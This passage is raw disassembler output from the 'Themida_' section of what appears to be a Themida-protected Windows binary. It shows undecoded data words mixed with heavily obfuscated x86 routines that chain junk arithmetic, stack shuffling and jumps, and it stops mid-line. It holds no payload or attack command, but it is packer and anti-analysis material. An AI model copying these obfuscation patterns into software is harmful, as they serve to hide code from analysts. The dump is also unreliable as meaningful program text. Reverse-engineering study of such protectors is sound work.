9D389FCh, 0C6815FFEh, 0CF23ABCFh dd 295FFE29h, 2434FFF1h, 4C4815Eh, 87000000h, 0E95C240Ch dd 10C5Fh, 4B05C681h, 815B5BBDh, 0A85CB0C6h, 721F2D6Eh dd 5E2D09EDh, 2D553656h, 78E50BEDh, 5B5BE9h, 71C58100h dd 811E6B17h, 0EC806FF5h, 0E9EF3173h, 0FFFFE9A5h, 0B850515Dh dd 2, 48BC189h, 80FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554F82: ; CODE XREF: Themida_:0055FFFEj mov eax, esp add eax, 4 push ebx mov ebx, 4 sub eax, 2854DD1h add eax, ebx add eax, 2854DD1h pop ebx xor eax, [esp] jmp loc_553E73 ; --------------------------------------------------------------------------- dd 83242C8Bh, 335A04C4h, 3C31243Ch, 243C3324h, 5524248Bh dd 0C95689BDh, 7E50E911h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554FC2: ; CODE XREF: Themida_:00560341j mov ebp, ecx jmp loc_55945B ; --------------------------------------------------------------------------- db 0C0h, 0E2h, 3 dd 81595451h, 4C1h, 4E98300h, 31240C33h, 0C33240Ch, 24248B24h dd 66240C89h, 0E9370A68h, 0A33Fh, 8B66D800h, 0C481241Ch dd 2, 0FEE95F04h, 3100004Eh, 0C2015AD0h, 8124048Bh, 4C4h dd 4EC8100h, 89000000h, 0A8BF243Ch, 172A99Eh, 85685FFAh dd 0E9000078h, 0F31Bh, 685B5B66h, 10B2h, 0E9241489h, 967h dd 5345C681h, 148B05CDh, 4C48124h, 8B000000h, 0C4812414h dd 4, 305368h, 24348900h, 0DADFE9h, 1E88300h, 25678A0Dh dd 44A6E950h, 0C3810000h, 4, 0C21E9h db 0 ; --------------------------------------------------------------------------- loc_555079: ; CODE XREF: Themida_:00565240j mov ebp, 396C4BB7h shr ebp, 8 and ebp, 516B3759h shr ebp, 5 add ebp, 493817DAh jmp loc_561A6A ; --------------------------------------------------------------------------- db 50h, 89h, 0E0h dd 81E18951h, 4C1h, 4E98300h, 0FFF1A4E9h, 0F52958FFh, 57F5295Eh dd 187783BFh, 81E7D107h, 9306BDEFh, 4EFC17Bh, 543AE950h dd 0BF570000h, 4, 835FFD01h, 2C8704EDh, 0F9C6E924h, 4C290000h dd 81590424h, 53B8242Ch, 42916B2h, 24048124h, 16B253B8h dd 14240481h, 8119C267h, 319F242Ch, 0B8E95EAAh, 8BFFFFDAh dd 14892424h, 0E99C5024h, 0FFFFDAABh, 4C181h, 0C1830000h dd 74FF5102h, 0C8B0424h, 4C48324h, 5C24048Fh, 0FF665266h dd 66022474h, 48F665Ah, 0DA81E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55513A: ; CODE XREF: Themida_:0055B417j sub ebx, 0C61282EAh or ecx, ebx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_55B661 ; --------------------------------------------------------------------------- loc_555153: ; CODE XREF: Themida_:0056791Aj sub eax, 1C875EC8h push eax jmp loc_556DB5 ; --------------------------------------------------------------------------- dw 0D529h dd 41B8505Ah, 0D099F36h, 30364F1Ah, 0EAB9E235h, 8BC52979h dd 0C4812404h, 4, 526BE9h, 4B800h, 0C7010000h, 74FF5758h dd 1BE90424h db 0E7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555193: ; CODE XREF: Themida_:0056075Aj mov ecx, 34A256A3h sub ebx, ecx pop ecx jmp loc_56829E ; --------------------------------------------------------------------------- dd 4C481h, 0EFC10000h, 16BD5502h, 0C139FE28h, 0CD8106EDh dd 1681283Fh, 1FE9D5F7h, 890000B0h, 0B1E9240Ch, 550000F1h dd 777FADBDh, 564D4D60h, 10777E9h, 70C58100h, 813AA321h dd 8A27D4EDh, 4CB2E907h, 0CD810000h, 705F1BBEh, 11B9BE9h dd 4EC8300h, 0FF4FE9h db 0 ; --------------------------------------------------------------------------- loc_5551F9: ; CODE XREF: Themida_:005576DEj xchg esi, [esp] jmp loc_5659EB ; --------------------------------------------------------------------------- db 58h, 5Bh, 8Bh dd 0C4812404h, 4, 5A66D028h, 10AC5E9h, 11C78100h, 81509250h dd 4C5174E7h, 0BAEF812Bh, 89FBF32Fh, 243C8BFEh, 5704C483h dd 41A4E9h, 2CD35C00h, 7CE99C24h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55523F: ; CODE XREF: Themida_:0056052Dj mov esi, edx jmp loc_557F20 ; --------------------------------------------------------------------------- dw 0E789h dd 75C4BD55h, 0CD8177CAh, 7FAA33B3h, 187FCD81h, 0B8504698h dd 5B51502Ah, 8158C501h, 845FE7F5h, 0CAED8125h, 0E9FECF8Fh dd 0D21Bh, 933353B8h, 99B95167h, 2D504D2Ah, 70E46275h dd 9C1A4F2Dh, 6C48055Ah, 0C8010D63h, 636C482Dh, 4FBD550Dh dd 55A9C1Ah, 2DB056FBh, 0FFF56FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5552A5: ; CODE XREF: Themida_:005594CAj shl edx, 6 push esi push ebx mov ebx, 569F4023h and ebx, 32C43294h or ebx, 6E8217CCh add ebx, 0B1DD391Bh jmp loc_552DE9 ; --------------------------------------------------------------------------- dw 8141h dd 5A0888F1h, 8BCA010Ah, 8EE9240Ch, 8B000081h, 0AF0F2424h dd 0E99C51C8h, 0FFFFD8D7h, 1D4D6859h, 1C890000h, 2BB24h dd 62E90000h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5552F7: ; CODE XREF: Themida_:00563806j add esi, 5D907104h jmp loc_55DEA1 ; --------------------------------------------------------------------------- dw 0EEC1h dd 0C1E6D102h, 0F68104E6h, 0F208F8B8h, 348BF229h, 0AA1EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55531A: ; CODE XREF: Themida_:00556F9Cj sub bl, 66h push edx jmp loc_55DBB2 ; --------------------------------------------------------------------------- db 87h dd 685C240Ch, 437Eh, 51241489h, 0B1512AB5h, 52D1F6B8h dd 132DE9h, 0BF574600h, 4FC534D4h, 0D56BC781h, 0FE01DB5Ch dd 30FDE9h, 88E88800h, 305958C3h, 241C8BDCh, 0D0DBE9h dd 0C1815900h, 4, 4E981h, 0C330000h, 240C3124h, 8B240C33h dd 3C892424h, 815F5424h, 4C7h, 0BA525100h, 33BF5B4Ch, 0E1C2E9h db 0 ; --------------------------------------------------------------------------- loc_555391: ; CODE XREF: Themida_:00562C5Ej mov esi, 32377F9Ch mov eax, 738C758Ah xor eax, esi pop esi jmp loc_55C873 ; --------------------------------------------------------------------------- db 1 dd 0B9E981D9h, 0E979A914h, 4654h, 4247401h, 128E1E9h db 0 ; --------------------------------------------------------------------------- loc_5553B9: ; CODE XREF: Themida_:00558931j sub ecx, 36D05Bh push ebp push ecx jmp loc_5592C4 ; --------------------------------------------------------------------------- loc_5553C6: ; CODE XREF: Themida_:005643F5j mov edx, 4 add ebp, edx pop edx add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] xchg esi, [esp] jmp loc_55A866 ; --------------------------------------------------------------------------- loc_5553E8: ; CODE XREF: Themida_:0055C9BBj add dword ptr [esp], 2F3C177Eh mov ebx, [esp] jmp loc_5616EF ; --------------------------------------------------------------------------- db 89h dd 4BD55E6h, 1000000h, 0C6815DEEh, 4, 0DADDE9h, 2C78100h dd 87000000h, 815C243Ch, 2ECh, 14896600h, 4EC8124h, 89000000h dd 0EC812404h, 4, 0B6241489h, 5AF0887Bh, 0EE72E9h, 0E7895700h dd 0A35DE9h, 0A2BA5200h, 2901B41Ah, 0E9042454h, 0FFFFF14Eh dd 3912A168h, 0ED815D0Bh, 0ED3208CCh, 34F2E9h db 0 byte_555465 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552AECo aSek db '$И┘┼',0 align 2 loc_55546E: ; CODE XREF: Themida_:0055E685j add bl, al push ecx mov ch, 0BEh xor ch, 0DBh add bl, ch pop ecx jmp loc_554A98 ; --------------------------------------------------------------------------- loc_55547E: ; CODE XREF: Themida_:0055AD67j mov eax, 4 sub ebp, eax pop eax xchg ebp, [esp] mov esp, [esp] mov [esp], ebx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_5632CF ; --------------------------------------------------------------------------- db 81h dd 0CD5345EEh, 0E9D62905h, 0FFFFFB8Ch ; --------------------------------------------------------------------------- loc_5554B0: ; CODE XREF: Themida_:005592E3j pop eax jmp loc_55E4E9 ; --------------------------------------------------------------------------- dw 0EC83h dd 0D37CE904h, 0C3830000h, 90EB81FFh, 5E702DEh, 30386ABFh dd 51E9D801h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5554D3: ; CODE XREF: Themida_:0055C08Ej shl ebx, 3 add ebx, 0FD25EBE1h add ebx, 8636EF57h push ebx pop edx pop ebx and eax, edx push dword ptr [esp] push dword ptr [esp] jmp loc_557852 ; --------------------------------------------------------------------------- loc_5554F2: ; CODE XREF: Themida_:005568DEj shr edx, 7 add edx, 12544430h add edx, 6BCE062h and esi, edx pop edx push esi push 4910h mov [esp], ebp pop esi mov ebp, [esp] add esp, 4 jmp loc_55AF5D ; --------------------------------------------------------------------------- db 81h, 0EEh, 5Eh dd 81311F12h, 0AF40F4EEh, 2BC3E950h, 4BE0000h, 1000000h dd 5E042474h, 8B2434FFh, 0E9562434h, 92ADh, 2BF7F781h dd 5EE94FC3h, 0F7FFFFD9h, 814149D9h, 3346FEF1h, 92BB5303h dd 0E9703C58h, 9D15h, 8324148Bh, 0BD5504C4h, 2B0A50BBh dd 8104E5C1h, 0C42B2AEDh, 1ED8142h, 0F7000000h, 0C5814DD5h dd 0E15C0DD4h, 6606E981h, 0CAE90C94h, 5D000070h, 78BD5550h dd 550F5939h, 0BB240481h, 58628263h, 1D60E957h, 0DEB50000h dd 0FF7AE9h db 0 byte_5555AD db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00552978o dd 0E9E78957h, 12B88h dword_5555B8 dd 240C8B66h, 22886856h, 8F540000h, 56552404h, 0E14BB53h ; DATA XREF: Themida_:00552A08o dd 0E8E95AA7h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_5555D3: ; CODE XREF: Themida_:005598CEj dec esi add esi, 864B429Dh push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_5571BA ; --------------------------------------------------------------------------- loc_5555EB: ; CODE XREF: Themida_:00558969j push esp jmp loc_55A59D ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 6624248Bh, 2404BB0Fh, 0DBDAE99Ch, 0F7810000h, 5F9E72A0h dd 4397F781h, 0C781051Ah, 6ACD51D1h, 0A78AC781h, 0FE012E83h dd 1019CE9h, 96BF5700h, 31003A8Fh, 0BF575FFBh, 3736A07h dd 3D5CC581h, 0FD0112C3h, 3D5CED81h, 5AE912C3h, 5400000Fh dd 19A2E95Dh db 1, 0 ; --------------------------------------------------------------------------- loc_55564A: ; CODE XREF: Themida_:005620ACj sub ecx, 1C601BB8h add ecx, 682A7233h mov ebp, ecx mov ecx, [esp] add esp, 4 add ebp, 585A6F30h jmp loc_554DE1 ; --------------------------------------------------------------------------- db 50h, 0B8h, 78h dd 3125F204h, 0E4FFE9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555676: ; CODE XREF: Themida_:0055803Aj mov ebx, 0 sub ebx, esi jmp loc_559E62 ; --------------------------------------------------------------------------- dw 0F788h dd 6F6EE9h, 6FD6800h, 4890000h, 4B1AB824h, 0C8E92C93h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55569B: ; CODE XREF: Themida_:0055F1BDj or ebp, 6131B19h jmp loc_565421 ; --------------------------------------------------------------------------- loc_5556A6: ; CODE XREF: Themida_:0055CBACj mov ebx, 26FA7FC3h shr ebx, 2 xor ebx, 61BB91B9h sub esi, ebx pop ebx xor esi, 2035C9C3h mov edx, esi mov esi, [esp] add esp, 4 mov edi, 4C2C73F9h jmp loc_55F619 ; --------------------------------------------------------------------------- dw 0EF81h dd 3CF97831h, 0B951EF01h, 3CF97831h, 418DE9h, 1ED8100h dd 0E9000000h, 9C16h, 34FFC829h, 88685924h, 8900005Eh dd 0E389241Ch, 5D6268h, 242C8900h, 4BDh, 8BEB0100h, 0C483242Ch dd 19836804h, 2C890000h, 0DEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555722: ; CODE XREF: Themida_:0055ECCDj push dword ptr [esp] pop ebp add esp, 4 jmp loc_560841 ; --------------------------------------------------------------------------- dw 0BD55h dd 3C4B599Dh, 4D05E5C1h, 5875E581h, 0E5C10DD2h, 91F58105h dd 0E96DF835h, 0B262h, 8904EC83h, 0DCE92414h db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555757: ; CODE XREF: Themida_:00553746j pop dword ptr [esp] jmp loc_554256 ; --------------------------------------------------------------------------- db 81h dd 2D1D10C5h, 0BB535B07h, 7927262Ch, 624768h, 241C8900h dd 5B240CFFh, 302EEB81h, 0E9510406h, 0B077h, 7D5868h, 241C8900h dd 1121CE9h, 0E7895700h, 4C781h, 0C7830000h, 243C8704h dd 20E8E95Ch, 0EAC10000h, 0EA814202h, 0EB9AF01Ah, 15AD529h dd 46C581C5h, 8B2A5166h, 0C4812404h, 4, 0E95DEB01h, 10B92h ; --------------------------------------------------------------------------- loc_5557CC: ; CODE XREF: Themida_:0056310Bj sub ebx, 755F3566h push ebp mov ebp, 7DFE2D3Eh sub esi, ebp mov ebp, [esp] add esp, 4 add esi, ebx add esi, 7DFE2D3Eh mov ebx, [esp] add esp, 4 xchg esi, [esp] pop esp bt [esp], ax pushf jmp loc_552BBB ; --------------------------------------------------------------------------- dd 4BDh, 5897E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55580A: ; CODE XREF: Themida_:0055FAA4j xchg ebp, ebx not ebp xchg ebp, ebx sub ebx, 0DC7D643Fh mov ebp, ebx pop ebx or ebp, 0E947823h jmp loc_564304 ; --------------------------------------------------------------------------- loc_555824: ; CODE XREF: Themida_:0055720Bj pop ecx push edi push dword ptr [esp+4] mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 jmp loc_566B95 ; --------------------------------------------------------------------------- loc_55584F: ; CODE XREF: Themida_:005566C3j push ebx mov ebx, 48391161h sub [esp+8], ebx pop ebx jmp loc_559F5C ; --------------------------------------------------------------------------- aWslf db 'WИ╚f',0 dd 5AD00100h, 0B151E9h db 0 ; --------------------------------------------------------------------------- loc_55586D: ; CODE XREF: Themida_:0055E3B1j mov edi, [esp] add esp, 4 jmp loc_555C7F ; --------------------------------------------------------------------------- loc_555878: ; CODE XREF: Themida_:005617B0j add eax, edi sub eax, 53B0273Ch pop edi mov ecx, [esp] jmp loc_55CD12 ; --------------------------------------------------------------------------- loc_555888: ; CODE XREF: Themida_:0055964Ej sub [esp], ebx push ecx mov ecx, 690637D4h add [esp+4], ecx pop ecx pop ebx push esi jmp loc_56268B ; --------------------------------------------------------------------------- db 89h, 0F9h, 89h dd 3C8B59C8h, 4C48124h, 0E9000000h, 0C1E8h ; --------------------------------------------------------------------------- loc_5558B0: ; CODE XREF: Themida_:00563948j add [eax], ebx pop eax pop edx jmp loc_55BF02 ; --------------------------------------------------------------------------- loc_5558B9: ; CODE XREF: Themida_:0056155Bj xchg ebx, [esp] jmp loc_5655C2 ; --------------------------------------------------------------------------- loc_5558C1: ; CODE XREF: Themida_:0055667Bj push edx mov edx, 5EE156ADh jmp loc_563F51 ; --------------------------------------------------------------------------- loc_5558CC: ; CODE XREF: Themida_:0055A91Bj sub edx, 6DF5DF80h jmp loc_567652 ; --------------------------------------------------------------------------- loc_5558D7: ; CODE XREF: Themida_:005582E7j sub ebx, 550822F3h jmp loc_561CA6 ; --------------------------------------------------------------------------- dw 0E8B9h dd 294C008Ch, 241C8BD9h, 4C481h, 69BF0000h, 29416030h dd 0C66E9CFh, 895B0000h, 0EB2159CDh, 0E3814B5Dh, 125364CEh dd 2048F381h, 0C6810252h, 68BF2175h, 0EE81DE01h, 68BF2175h dd 5B2434FFh, 3120E9h, 0D0295A00h, 5872E9h, 81DDF700h dd 0D4EAE6C5h, 24BCE9BBh, 0D2F70001h, 6497EA81h, 0C28134CEh dd 803AD7AFh, 20E9D731h, 6800006Dh, 60BEh, 0E9242C89h dd 8B7Ch, 7E08EB81h, 0EB813C7Dh, 5433016Fh, 0B8505750h dd 3E65F04h, 0DDCD8368h, 0E9505F4Dh, 270Ah, 0E9243C89h dd 0D362h, 65AEF781h, 0EF830D34h, 0F23DE901h, 5550FFFFh dd 6C74BB53h, 98E93C66h, 530000F9h, 50B2ECB7h, 5BFA00h dd 0A65BE9D0h, 0C3890000h, 8124048Bh, 4C4h, 0DE015900h dd 0D4BEE9h, 4C48300h, 6470C381h, 0CB292D23h, 6470EB81h dd 5592D23h, 759C77C5h, 0C52DD829h, 5B759C77h, 0FFEC83E9h db 0FFh ; --------------------------------------------------------------------------- loc_5559E9: ; CODE XREF: Themida_:0056696Cj mov edi, esp jmp loc_553BA3 ; --------------------------------------------------------------------------- dd 52242489h, 4BAh, 24540100h, 815D5A04h, 4C5h, 4EC8100h dd 89000000h, 0F3E9241Ch, 28000037h, 0B15158C3h, 44C1804Dh dd 8031E980h, 0E980E3C1h, 99E180FFh, 0FEE5B252h, 0B74EE9C2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555A32: ; CODE XREF: Themida_:0055A9A4j mov ebp, 4D6F2D07h neg ebp inc ebp neg ebp dec ebp sub ebp, 0EAB8BA83h or esi, ebp mov ebp, [esp] add esp, 4 add esi, 0DA7B072h mov ebp, 5827BA6Bh sub ebp, esi mov esi, [esp] add esp, 4 xor eax, ebp jmp loc_556F7F ; --------------------------------------------------------------------------- dd 31242C33h, 2C33242Ch, 4003E924h, 0EC810000h, 4, 0BA241489h dd 6DB03C27h, 0D4A1E9h, 242C8B00h, 8104C483h, 4C5h, 0C695E900h dd 4890000h, 0E9F88924h, 5D90h, 4BEh, 24448100h, 0FD28DF04h dd 0CCDE97Dh, 0DB2C0001h, 1450E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555ABE: ; CODE XREF: Themida_:00556AF9j add edx, 5C527AEh pop ecx sub edx, ebx sub edx, 6B1D26EEh jmp loc_5603C3 ; --------------------------------------------------------------------------- loc_555AD2: ; CODE XREF: Themida_:0055F644j sub esp, 4 mov [esp], esi push edx jmp loc_566B44 ; --------------------------------------------------------------------------- loc_555AE1: ; CODE XREF: Themida_:0055C49Bj mov eax, 4 jmp loc_558E5A ; --------------------------------------------------------------------------- db 81h dd 0FD6F1AC5h, 81C5291Dh, 0FD6F1AEDh, 0F501581Dh, 6E92C581h dd 0ED816ED2h, 30EF78C5h, 60F4E9h, 2434FF00h db 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55EC3F ; --------------------------------------------------------------------------- loc_555B1F: ; CODE XREF: Themida_:00566B05j add esi, 974C4DE1h add ebx, esi pop esi jmp loc_561583 ; --------------------------------------------------------------------------- loc_555B2D: ; CODE XREF: Themida_:00565C41j push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_55FB80 ; --------------------------------------------------------------------------- loc_555B3E: ; CODE XREF: Themida_:00568293j mov eax, 2AAC32ECh jmp loc_5533E9 ; --------------------------------------------------------------------------- dd 4EB835Dh, 2E52E9h, 4E7C100h, 6AD8E781h, 0BB533DAAh dd 0D2B1A76h, 895BDF31h, 2434FFFBh, 5854505Fh, 405h, 40500h dd 4870000h, 0A7E95C24h db 0E7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555B7F: ; CODE XREF: Themida_:00553C3Bj sub ecx, edi xchg ecx, edi pop ecx or edi, 1B6337D7h add edi, 4018400Dh jmp loc_558AC3 ; --------------------------------------------------------------------------- loc_555B95: ; CODE XREF: Themida_:00567450j pop eax sub eax, 3E194723h mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_55CF8C ; --------------------------------------------------------------------------- db 0B8h, 4, 0 dd 0C2010000h, 582434FFh, 457668h, 24048900h, 41E9E089h dd 4500000Ah, 7ACBE9h, 5F28BD00h, 0E5813F74h, 4D124AF6h dd 4708F581h, 94E9252Ah, 0D1000045h, 43C781E7h, 81259668h dd 58D858EFh, 5FFB09B4h, 74D3EB81h, 0BA52B5B8h, 5FD1788Ch dd 0E2AFE9h, 0C896600h, 0F6DD8824h, 0EA8852D5h, 92C3E9h db 0 ; --------------------------------------------------------------------------- loc_555C1D: ; CODE XREF: Themida_:00557B89j add ebx, 69AA9C12h add edi, 38AE421Fh jmp loc_560719 ; --------------------------------------------------------------------------- dw 0E950h dd 0FFFFF54Dh, 0C32189B9h, 0BFF18164h, 815CB83Bh, 653E52F1h dd 59CF8961h, 2487EF81h, 0CF8107C0h, 1D196D24h, 0C781EFD1h dd 20DE3DC4h, 815FFA21h, 7FE302C2h, 5AD589B4h, 34FFEE01h dd 8E5EE924h, 0C4810000h, 4, 8DE95057h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555C7F: ; CODE XREF: Themida_:00555873j add edx, esi add edx, 71653C60h pop esi push 2A97h mov [esp], ebx mov ebx, 524D106Fh jmp loc_55378B ; --------------------------------------------------------------------------- dw 0C381h dd 4, 5C241C87h, 0C131E9h, 4C18300h, 5C240C87h, 31241433h dd 14332414h, 0FF65E924h, 0DE870000h, 0DE87D3F7h, 0DDA3EE81h dd 0E956F4A2h, 83AFh, 0C781F701h, 23A37382h, 11425E9h db 0 ; --------------------------------------------------------------------------- loc_555CDD: ; CODE XREF: Themida_:00563ED5j mov ebx, 571E658Ah push esi jmp loc_553A36 ; --------------------------------------------------------------------------- dd 75A86866h, 24048966h, 0C32848B0h, 0E9505866h, 0BCF8h dd 8E8BE981h, 0ED81C62Dh, 252205D1h, 0C581CD29h, 252205D1h dd 8BE98959h, 0C483242Ch, 0FFCD0104h, 81592434h, 4C4h dd 4EC8300h, 0FF242C89h, 8B042474h, 8953242Ch, 4C381E3h dd 57000000h, 6A84E9h, 0BAB95100h, 57536B18h, 4599BB53h dd 0DF89275Ah, 0F3CF815Bh, 0E9276528h, 0B008h ; --------------------------------------------------------------------------- loc_555D5C: ; CODE XREF: Themida_:00566554j xor esi, 0E0C09328h add edx, esi pop esi xchg edx, [esp] pop esp sub esp, 4 mov [esp], ecx mov ecx, 4BA122AFh push ebp mov ebp, 409B573Ah shr ebp, 8 dec ebp jmp loc_5654D4 ; --------------------------------------------------------------------------- loc_555D86: ; CODE XREF: Themida_:00560D46j push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop ecx push ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_561FFF ; --------------------------------------------------------------------------- loc_555D9D: ; CODE XREF: Themida_:00560B4Aj add esp, 4 pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push esi push esp pop esi sub esp, 4 mov [esp], edx mov edx, 4 sub esi, 751E527Bh push eax mov eax, 119E352Ch sub esi, eax pop eax add esi, edx add esi, 119E352Ch jmp loc_568110 ; --------------------------------------------------------------------------- dd offset aFLasss ; "F\blassХ\r" db 0D8h, 4, 0D2h dd 0CCB35366h, 45E9D828h, 31FFFFF2h, 0D1E958C5h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555DEF: ; CODE XREF: Themida_:0055778Fj mov esi, esp add esi, 4 jmp loc_5568C4 ; --------------------------------------------------------------------------- dd 0A41B6B05h, 52D0015Fh, 0A41B6BBAh, 5AD0295Fh, 0B0615C05h dd 0E9555A2Ch, 0FFFFEB2Ch, 34486866h, 3778E9h db 0 ; --------------------------------------------------------------------------- loc_555E21: ; CODE XREF: Themida_:0055B31Fj add ecx, 4 jmp loc_5617DC ; --------------------------------------------------------------------------- loc_555E2C: ; CODE XREF: Themida_:005565FAj mov esp, [esp] mov [esp], edi jmp loc_565C17 ; --------------------------------------------------------------------------- loc_555E37: ; CODE XREF: Themida_:00560977j add eax, 4CF27DA2h add eax, edx sub eax, 4CF27DA2h jmp loc_558379 ; --------------------------------------------------------------------------- loc_555E48: ; CODE XREF: Themida_:0055D5EEj pop eax mov eax, 6BE109A1h add eax, 121D3655h jmp loc_559DB1 ; --------------------------------------------------------------------------- dd 7CBBC181h, 9FE95735h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555E63: ; CODE XREF: Themida_:0055AAA1j pop ebp inc ebp push ebp jmp loc_559B7E ; --------------------------------------------------------------------------- db 81h dd 21042444h, 1232841h, 5304247Ch, 284121BBh, 245C2923h dd 3C8B5B08h, 4C48324h, 55240C8Bh, 0FFF7B2E9h, 52E0B4FFh dd 0F6808EB6h, 8BF4287Ah, 0C4832414h, 50E48004h, 4EC81h dd 1C890000h, 2050E924h, 875B0000h, 0C1E92404h, 0F70000AAh dd 0E2E3E9DBh, 0F5800000h, 2349E986h, 0EC830001h, 242C8904h dd 0F75A5D52h, 7BC581D5h, 14DFC5Eh db 0EEh, 5Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 4 sub ebp, ebx pop ebx xchg ebp, [esp] jmp loc_563100 ; --------------------------------------------------------------------------- dd 835FF901h, 31E904C1h, 8900004Dh, 0A8E92434h, 8100011Ch dd 4C2h, 24148700h, 8124248Bh, 4C4h, 5402E900h, 685E0000h dd 50E3h, 55240489h, 0D0782568h, 0ED815D2Ah, 2AD07821h dd 0E95D5855h, 48FAh, 0F8186BBDh, 0ECEB816Ch, 172537Ch dd 0ECC381EBh, 8B72537Ch, 0C481242Ch, 4, 0E956C301h, 2A16h dd 115BE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555F6A: ; CODE XREF: Themida_:005582F6j shr eax, 7 push esi mov esi, 48244985h shr esi, 4 or esi, 5FFC41C2h push ebp mov ebp, 180959C6h jmp loc_55A49B ; --------------------------------------------------------------------------- loc_555F87: ; CODE XREF: Themida_:00566359j push ebx sub esp, 4 mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax pop ebx add ebx, 4 push esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp] jmp loc_55DFB5 ; --------------------------------------------------------------------------- dd 875EF301h, 505C241Ch, 0CE5B4DB8h, 5D0F76Ch, 6CCE5B52h dd 6858C601h, 17D7h, 0BB241C89h, 2, 1C8BDE01h, 0DD5CE924h dd 0E589FFFFh, 8904EC83h, 2DB9240Ch, 0F72C373Bh, 0E79EE9D9h dd 0A5BD0000h, 8153551Ah, 500A65C2h, 81EA0171h, 500A65EAh dd 0C2835D71h, 0DA88E901h, 0BB530000h, 4, 66680A05h, 5BE02D51h dd 0D80104F4h, 0F45BE005h, 680A2D04h, 565B5166h, 4BEh dd 0AFCCE900h, 0E1890000h, 4C181h, 62E90000h, 550000F9h dd 9870E9h, 0BB535A00h, 2EEA2074h, 89BD5551h, 89CDEE66h dd 6893E9E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556062: ; CODE XREF: Themida_:0055BEB1j shl cl, 3 not cl push ebx mov bl, 0BAh xor cl, bl pop ebx sub al, 6Fh sub al, cl add al, 6Fh pop ecx push dx jmp loc_561A07 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E0895000h, 5F64BA52h, 27E942FBh, 5E0000BCh, 47A4BD55h dd 0D5F714D6h, 8145E5D1h, 8BE903C5h, 1EBD5566h, 8130F277h dd 464CAAE5h, 2ED814Bh, 29B2022Ah, 0EA295DEAh, 1A08C281h dd 0E95D4E40h, 2CF3h, 54242C89h, 0DACAE9h, 0FF515C00h dd 8B042474h, 0C481240Ch, 4, 5C24048Fh, 24048B66h, 4EC81h dd 2C890000h, 591C6824h, 82E90000h, 0D0000A5h, 66C54EC4h dd 2835D8F7h, 893A46B4h, 4E958C6h, 8B00006Fh, 82E92404h dd 68FFFFEFh, 3324h, 11BBAE9h db 0 byte_55611D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552AA4o aH@ db '$hу@',0 align 2 dw 0C89h aIsscs db '$┴АИc≤',0 align 10h loc_556130: ; CODE XREF: Themida_:00557BFBj shl ch, 8 sub ch, 5 add ch, 1Ch xor bh, ch pop ecx add ah, 0C3h push edx mov dl, 0F8h sub esp, 4 mov [esp], edx inc byte ptr [esp] mov edx, [esp] add esp, 4 shl dl, 2 sub dl, 0C5h add ah, dl jmp loc_55EC39 ; --------------------------------------------------------------------------- dd 0EC80EC28h, 240C8B7Eh, 0BEEBE9h db 0 ; --------------------------------------------------------------------------- loc_556171: ; CODE XREF: Themida_:00557722j push edi mov edi, 37A851F7h shr edi, 8 neg edi xor edi, 71751438h or edi, 1BB676E5h add edi, 0E3238BEh add ebx, edi pop edi add eax, ebx pop ebx jmp loc_564569 ; --------------------------------------------------------------------------- loc_556199: ; CODE XREF: Themida_:005633E3j add esi, edx jmp loc_55FC3A ; --------------------------------------------------------------------------- loc_5561A0: ; CODE XREF: Themida_:005637AAj add edi, ebp add edi, 59F15C58h add edi, 4D5B632Bh push ebp mov ebp, 50D74A6h sub edi, ebp pop ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_562FBF ; --------------------------------------------------------------------------- aQTaSgu db 'Q╠T─и:Иgu',0 dw 0FF00h dd 815F2434h, 4C4h, 0D067E900h, 0BE560000h, 9B5515Ah, 815EF709h dd 6D67E8CFh, 0F8EF8136h, 891E754Dh, 0A1E95FFEh db 11h, 1, 0 ; --------------------------------------------------------------------------- loc_5561FF: ; CODE XREF: Themida_:00558215j cmp ecx, eax pushf jmp loc_552BBB ; --------------------------------------------------------------------------- db 89h dd 5A542414h, 0C30E9h db 0 ; --------------------------------------------------------------------------- loc_556211: ; CODE XREF: 